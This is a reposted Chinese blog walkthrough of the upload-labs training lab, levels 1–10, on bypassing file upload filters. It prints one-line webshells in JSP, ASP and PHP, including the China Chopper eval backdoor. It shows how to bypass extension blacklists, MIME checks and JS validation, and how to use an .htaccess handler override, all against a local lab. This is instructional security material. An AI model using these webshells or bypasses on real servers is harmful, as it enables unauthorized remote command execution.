論文件上傳繞過的各種姿勢


先來介紹下文件上傳漏洞
一. 什么是文件上傳漏洞

Web應用程序通常會有文件上傳的功能, 例如在 BBS發布圖片 , 在個人網站發布ZIP 壓縮 包, 在辦公平台發布DOC文件等 , 只要 Web應用程序允許上傳文件, 就有可能存在文件上傳漏洞

二.什么樣的網站會有文件上傳漏洞

大部分文件上傳漏洞的產生是因為Web應用程序沒有對上傳文件的格式進行嚴格過濾 , 還有一部分是攻擊者通過Web服務器的解析漏洞來突破Web應用程序的防護, 后面我們會講 到一些常見的解析漏洞, 最后還有一些不常見的其他漏洞, 如 IIS PUT漏洞等

三.文件上傳漏洞的危害

上傳漏洞與SQL注入或 XSS相比 , 其風險更大 , 如果 Web應用程序存在上傳漏洞 , 攻擊者甚至可以直接上傳一個webshell到服務器上


 

關於webshell

webshell是以asp、php、jsp等網頁文件形式存在的一種命令執行環境,也稱其為一種網頁后門。一般說來,當Hacker入侵一個網站后,會把這些asp、php木馬的后門文件放在該網站的web目錄中,和正常的網頁文件混雜,其命名可能和正常的文件命名很類似,讓人無法第一眼通過文件名判斷其為后門文件。然后呢,他就可以利用web請求的方式,用asp或者php木馬后門控制網站服務器,包括上傳下載文件、查看數據庫、執行任意程序命令等一系列操作。

webshell的分類

1.根據文件大小分類:大馬和小馬(通常指的是一句話木馬,能夠使用菜刀這類工具去直接連接它)
2.根據腳本名稱分類:jsp、asp、aspx、php

幾種經典的webshell:

1)jsp的簡單的webshell:

<%Runtime.getRuntime().exec(request.getParameter("i"));%>

2)asp的簡單的webshell:

success!!!!<%eval request("cmd")%>

3)php的簡單的webshell:

  • php經典一句話: <?php echo shell_exec($_GET['cmd']);?>

    • 中國菜刀:<?php @eval($_POST['自定義密碼']);?> 然后連接菜刀就能直接進服務器了

    好了介紹完這些就開始做題吧(。・∀・)ノ,


     

Less-1

先在本地新建一個webshell文件,然后上傳webshell 發現失敗

查看源碼發現是JS驗證,只能上傳.jpg|.png|.gif這三種文件格式

對於js驗證有三種繞過方法:

  1. 使用瀏覽器插件。刪除檢測文件后綴的JS代碼,然后上傳webshell

  2. 首先把webshell的后綴改成允許上傳的.jpg|.png|.gif,繞過JS檢測。再抓包把后綴名改成.php,即可上傳webshell

  3. 在前端js判斷函數中加上可以上傳php文件,或者直接刪去這一函數

由於是第一題,這里就分別用兩種方法繞過演示下 (* ̄3 ̄)╭

先用第2種:
把webshell的后綴php改為png

然后上傳,抓包修改后綴為php, 然后forward發包

上傳文件url地址可以在這看到(藍色選中部分),

菜刀連接 地址:http://127.0.0.1/upload-labs-master/upload/webshell.php

成功( ̄︶ ̄)↗ 

來看看第三種繞過:

這時要先猜測判斷文件后綴的代碼是在前端還是后端,打開burp進行攔截,發現點擊上傳后,並沒有進行發包。可知判斷后綴的代碼在前端,即用js代碼判斷的,打開瀏覽器的審查元素,找到文件上傳的js代碼

可以看到藍色選中區有checkFile()函數,我們把它刪除后再上傳

然后同理在F12審查元素中找到路徑,菜刀連接。

第一關結束!(提示:上傳到upload文件夾的小馬別忘刪了,因為下面還要用)

Less-2

直接上傳,失敗,提示文件類型不正確

上傳圖片發現可以成功

查看源碼:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上傳出錯!';
            }
        } else {
            $msg = '文件類型不正確,請重新上傳!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夾不存在,請手工創建!';
    }
}

發現這里采用的是后端驗證文件類型, 但是他只過濾的文件類型, 並沒有過濾文件后綴名, 所以可以上傳 php文件,然后修改 content-type 繞過。
(可能會有小伙伴問,文件后綴名不就定義了我文件類型了嗎,嗯...其實並不是,文件后綴只是決定了雙擊打開的方式,比如你用photoshop可以打開一個psd圖像文件。把這個文件擴展名改為txt,再拖到photoshop窗口里,還是一樣能打開,說明內容完全沒有變化,變化的只是雙擊時的默認打開方式。)

可以看到這題的提示:

關於MIME我這里要說一下(百度百科是錯的哦):

  • 它全名叫多用途互聯網郵件擴展(Multipurpose Internet MailExtensions),最初是為了將純文本格式的電子郵件擴展到可以支持多種信息格式而定制的。后來被應用到多種協議里,包括我們常用的HTTP協議。
  • MIME的常見形式是一個主類型加一個子類型,用斜線分隔。比如text/html、application/javascript、image/png等
  • 在訪問網頁時,MIME type幫助瀏覽器識別一個HTTP請求返回的是什么內容的數據,應該如何打開、如何顯示。

這里采用的判斷方式就是MIME后端驗證!
這里有兩種繞過方法:↓

PS:

  • 上傳php文件時,Content-Type的值是application/octet-stream;
  • 上傳jpg文件時,Content-Type的值是image/jpeg
  1. 如果服務器通過Content-Type的值判斷文件類型,直接上傳php文件(webshell),抓包,將Content-Type的值修改為image/jpeg,即可上傳php文件(webshell)。

  2. 先上傳修改后綴名的webshell(webshell.php改為websshell.jpg)進行、抓包修改,后綴名改為webshell.php

    然后菜刀連接就行了~( ̄▽ ̄)~*

Less-3

第三題又是一個新類型的題:黑名單限制文件上傳,不允許上傳.asp|.aspx|.php|.jsp后綴文件。那么要如何繞過呢?
這里說下關於Apache的一些知識:

  • Apache的解析順序是從右到左開始解析文件后綴的,如果最右側擴展名不可識別,就繼續往左判斷。直到遇到可以解析的文件后綴為止
  • 可以上傳例如php3, phtml后綴的文件繞過,前提是Apachehttpd.conf中配置有如下代碼:
    AddType application/x-httpd-php .php .php3 .phtml

服務器會將.php3, .phtml后綴的文件當成.php解析。

步驟:
先找到Apache下的httpd.conf文件,然后查找“AddType text/html”,然后在這行代碼后面,加上一行AddType application/x-httpd-php .php .php3 .phtml即可

然后直接上傳后綴名為.phtml的webshell文件,注意這里上傳的文件名會改變

連接菜刀

成功( ̄︶ ̄)↗ 

下一題
Less-4
同樣是黑名單過濾,直接看源碼吧:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//刪除文件名末尾的點
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //轉換為小寫
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上傳出錯!';
            }
        } else {
            $msg = '此文件不允許上傳!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夾不存在,請手工創建!';
    }
}

這題很絕,基本上把那些花里胡哨的后綴都過濾了,但是沒有包括.htaccess,可以利用配合Apache的.htaccess文件上傳 解析漏洞。

.htaccess文件是Apache服務器中的一個配置文件,它負責相關目錄下的網頁配置。通過.htaccess文件,可以實現:網頁301重定向、自定義404錯誤頁面、改變文件擴展名、允許/阻止特定的用戶或者目錄的訪問、禁止目錄列表、配置默認文檔等功能IIS平台上不存在該文件,該文件默認開啟,啟用和關閉在httpd.conf文件中配置。

 啟用.htaccess
 需要修改httpd.conf文件下的配置,查找關鍵詞AllowOverride,將后面的None改成All

然后,上傳一個.htaccess內容如下的文件(抓包時刪去文件名):

SetHandler application/x-httpd-php


這樣所有文件都會解析為php,然后再上傳圖片馬(我的菜刀好像有問題,就上傳圖片馬吧),就可以解析:

圖片馬語句:<?php phpinfo(); ?>

成功解析,下一關

Less-5

同樣是黑名單限制 這關和上一關相比,就多了個.htaccess文件,但是查看源碼發現這題沒有統一大小寫,所以就可以利用大小寫繞過
上傳文件webshell.Php

上傳成功。可以發現文件名又改變了,連接菜刀時要注意哦

連接成功

Less-6
查看源碼發現還是黑名單,但是這關沒有對后綴名進行去空格處理,可在后綴名中加空格繞過

if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//刪除文件名末尾的點
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //轉換為小寫
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

上傳的.php文件 抓包加上空格就行了。

上傳成功,查看文件命及路徑

菜刀連接,成功。

Less-7
還是黑名單,但是沒有對后綴名進行去.處理,,可在后綴名中加.繞過 ;上傳后windows下會自動去掉后綴名中最后的.

菜刀連接,成功。

Less-8
黑名單繞過,對比Less-4可以發現Less8少了這一句;

在php+windows的情況下:如果文件名+::$DATA,::$DATA之后的數據當成文件流處理,不會檢測后綴名 且保持"::$DATA"之前的文件名。(原因的話不清楚)
所以這題的繞過方法為:在文件后綴加::$DATA
抓包,加上后綴就行了。

上傳成功。

Less-9

我們先來看下Less2的路徑拼接代碼:

if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $_FILES['upload_file']['name'])) {
                    $img_path = UPLOAD_PATH . $_FILES['upload_file']['name'];
                    $is_upload = true;

再看這一關的代碼拼接,

if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $_FILES['upload_file']['name'])) {
                $img_path = UPLOAD_PATH . '/' . $file_name;
                $is_upload = true;
            }

發現5,6,7,8,9關都是一樣,路徑拼接的是處理后的文件名,導致可以利用類似.php. .(兩個點號之間有一個空格)繞過
程序先是刪除一個點,再刪除一個空格經過處理后,文件名變成.php.,即可繞過。


上傳成功。

Less-10
依舊是黑名單過濾,查看源碼:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上傳出錯!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夾不存在,請手工創建!';
    }
}

注意到,這里是將文件后綴名替換為空,於是可以利用雙寫繞過(不懂的話,百度下str_ireplace這個函數):

$file_name = str_ireplace($deny_ext,"", $file_name);


成功上傳。

 


這次就先總結到這吧,一次不想寫太長,后面會補上;覺的我總結的還行的話 求關注呦╰( ̄ω ̄o)


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM